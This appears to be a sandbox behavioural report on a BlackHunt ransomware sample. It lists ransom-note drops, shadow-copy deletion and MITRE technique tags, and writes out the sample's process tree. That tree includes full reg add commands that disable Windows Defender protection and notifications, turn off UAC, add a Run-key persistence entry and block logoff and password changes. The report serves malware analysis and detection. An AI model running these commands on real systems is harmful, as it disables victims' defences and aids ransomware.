File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-charts.xml	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\MANIFEST.MF	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Prague	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#BlackHunt_ReadMe.txt	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\#BlackHunt_ReadMe.txt	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Kerguelen	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-api-visual.xml	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Danmarkshavn	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Palau	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\#BlackHunt_ReadMe.hta	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-execution_ja.jar	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-charts_zh_CN.jar	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\#BlackHunt_Private.key	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#BlackHunt_ReadMe.txt	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#BlackHunt_ReadMe.hta	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\circleround_glass.png	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightDemiItalic.ttf	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423861240389.profile.gz	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hi\#BlackHunt_ReadMe.txt	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\#BlackHunt_ReadMe.txt	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.greychart.ui.ja_5.5.0.165303.jar	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\etc\visualvm.conf	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\te\#BlackHunt_ReadMe.txt	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Search5.api	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\Parity.fx	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jre7\lib\fonts\LucidaSansDemiBold.ttf	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jre7\lib\tzmappings	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Javascripts\#BlackHunt_Private.key	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-application-views_zh_CN.jar	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Mauritius	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\1047x576black.png	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.text.nl_zh_4.4.0.v20140623020002.jar	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\Java\jre7\#BlackHunt_Private.key	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-BoldIt.otf	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\16to9Squareframe_VideoInset.png	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\#BlackHunt_ReadMe.hta	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse.nl_ja_4.4.0.v20140623020002.jar	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\#BlackHunt_ReadMe.hta	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\YST9YDT	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainBackground.wmv	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerActions.exsd	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2264	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2720	vssadmin.exe
2832	vssadmin.exe
2472	vssadmin.exe
520	vssadmin.exe
2272	vssadmin.exe
2764	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2696	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3932	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1868	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
Token: SeRestorePrivilege	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
Token: SeBackupPrivilege	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
Token: SeTakeOwnershipPrivilege	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
Token: SeAuditPrivilege	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
Token: SeSecurityPrivilege	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
Token: SeIncBasePriorityPrivilege	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
Token: SeBackupPrivilege	1076	vssvc.exe
Token: SeRestorePrivilege	1076	vssvc.exe
Token: SeAuditPrivilege	1076	vssvc.exe
Token: SeBackupPrivilege	2128	wbengine.exe
Token: SeRestorePrivilege	2128	wbengine.exe
Token: SeSecurityPrivilege	2128	wbengine.exe
Token: SeSecurityPrivilege	3704	wevtutil.exe
Token: SeBackupPrivilege	3704	wevtutil.exe
Token: SeSecurityPrivilege	3700	wevtutil.exe
Token: SeBackupPrivilege	3700	wevtutil.exe
Token: SeSecurityPrivilege	2412	wevtutil.exe
Token: SeBackupPrivilege	2412	wevtutil.exe
Token: SeSecurityPrivilege	3404	wevtutil.exe
Token: SeBackupPrivilege	3404	wevtutil.exe
Token: SeSecurityPrivilege	3308	wevtutil.exe
Token: SeBackupPrivilege	3308	wevtutil.exe
Token: SeDebugPrivilege	2696	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2092 wrote to memory of 2712	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	29
PID 2092 wrote to memory of 2712	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	29
PID 2092 wrote to memory of 2712	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	29
PID 2092 wrote to memory of 2712	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	29
PID 2712 wrote to memory of 2780	2712	cmd.exe	31
PID 2712 wrote to memory of 2780	2712	cmd.exe	31
PID 2712 wrote to memory of 2780	2712	cmd.exe	31
PID 2092 wrote to memory of 2784	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	32
PID 2092 wrote to memory of 2784	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	32
PID 2092 wrote to memory of 2784	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	32
PID 2092 wrote to memory of 2784	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	32
PID 2092 wrote to memory of 2940	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	34
PID 2092 wrote to memory of 2940	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	34
PID 2092 wrote to memory of 2940	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	34
PID 2092 wrote to memory of 2940	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	34
PID 2092 wrote to memory of 2692	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	145
PID 2092 wrote to memory of 2692	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	145
PID 2092 wrote to memory of 2692	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	145
PID 2092 wrote to memory of 2692	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	145
PID 2092 wrote to memory of 2816	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	38
PID 2092 wrote to memory of 2816	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	38
PID 2092 wrote to memory of 2816	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	38
PID 2092 wrote to memory of 2816	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	38
PID 2940 wrote to memory of 2928	2940	cmd.exe	40
PID 2940 wrote to memory of 2928	2940	cmd.exe	40
PID 2940 wrote to memory of 2928	2940	cmd.exe	40
PID 2092 wrote to memory of 2728	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	41
PID 2092 wrote to memory of 2728	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	41
PID 2092 wrote to memory of 2728	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	41
PID 2092 wrote to memory of 2728	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	41
PID 2784 wrote to memory of 2824	2784	cmd.exe	42
PID 2784 wrote to memory of 2824	2784	cmd.exe	42
PID 2784 wrote to memory of 2824	2784	cmd.exe	42
PID 2092 wrote to memory of 2668	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	43
PID 2092 wrote to memory of 2668	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	43
PID 2092 wrote to memory of 2668	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	43
PID 2092 wrote to memory of 2668	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	43
PID 2092 wrote to memory of 2352	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	46
PID 2092 wrote to memory of 2352	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	46
PID 2092 wrote to memory of 2352	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	46
PID 2092 wrote to memory of 2352	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	46
PID 2692 wrote to memory of 2732	2692	bcdedit.exe	48
PID 2692 wrote to memory of 2732	2692	bcdedit.exe	48
PID 2692 wrote to memory of 2732	2692	bcdedit.exe	48
PID 2092 wrote to memory of 2736	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	49
PID 2092 wrote to memory of 2736	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	49
PID 2092 wrote to memory of 2736	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	49
PID 2092 wrote to memory of 2736	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	49
PID 2092 wrote to memory of 2788	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	50
PID 2092 wrote to memory of 2788	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	50
PID 2092 wrote to memory of 2788	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	50
PID 2092 wrote to memory of 2788	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	50
PID 2816 wrote to memory of 2620	2816	cmd.exe	53
PID 2816 wrote to memory of 2620	2816	cmd.exe	53
PID 2816 wrote to memory of 2620	2816	cmd.exe	53
PID 2092 wrote to memory of 2612	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	54
PID 2092 wrote to memory of 2612	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	54
PID 2092 wrote to memory of 2612	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	54
PID 2092 wrote to memory of 2612	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	54
PID 2728 wrote to memory of 2148	2728	cmd.exe	56
PID 2728 wrote to memory of 2148	2728	cmd.exe	56
PID 2728 wrote to memory of 2148	2728	cmd.exe	56
PID 2092 wrote to memory of 2296	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	154
PID 2092 wrote to memory of 2296	2092	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe	154

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe
"C:\Users\Admin\AppData\Local\Temp\4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2296
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2192
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2172
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2892
- - C:\Windows\system32\reg.exe
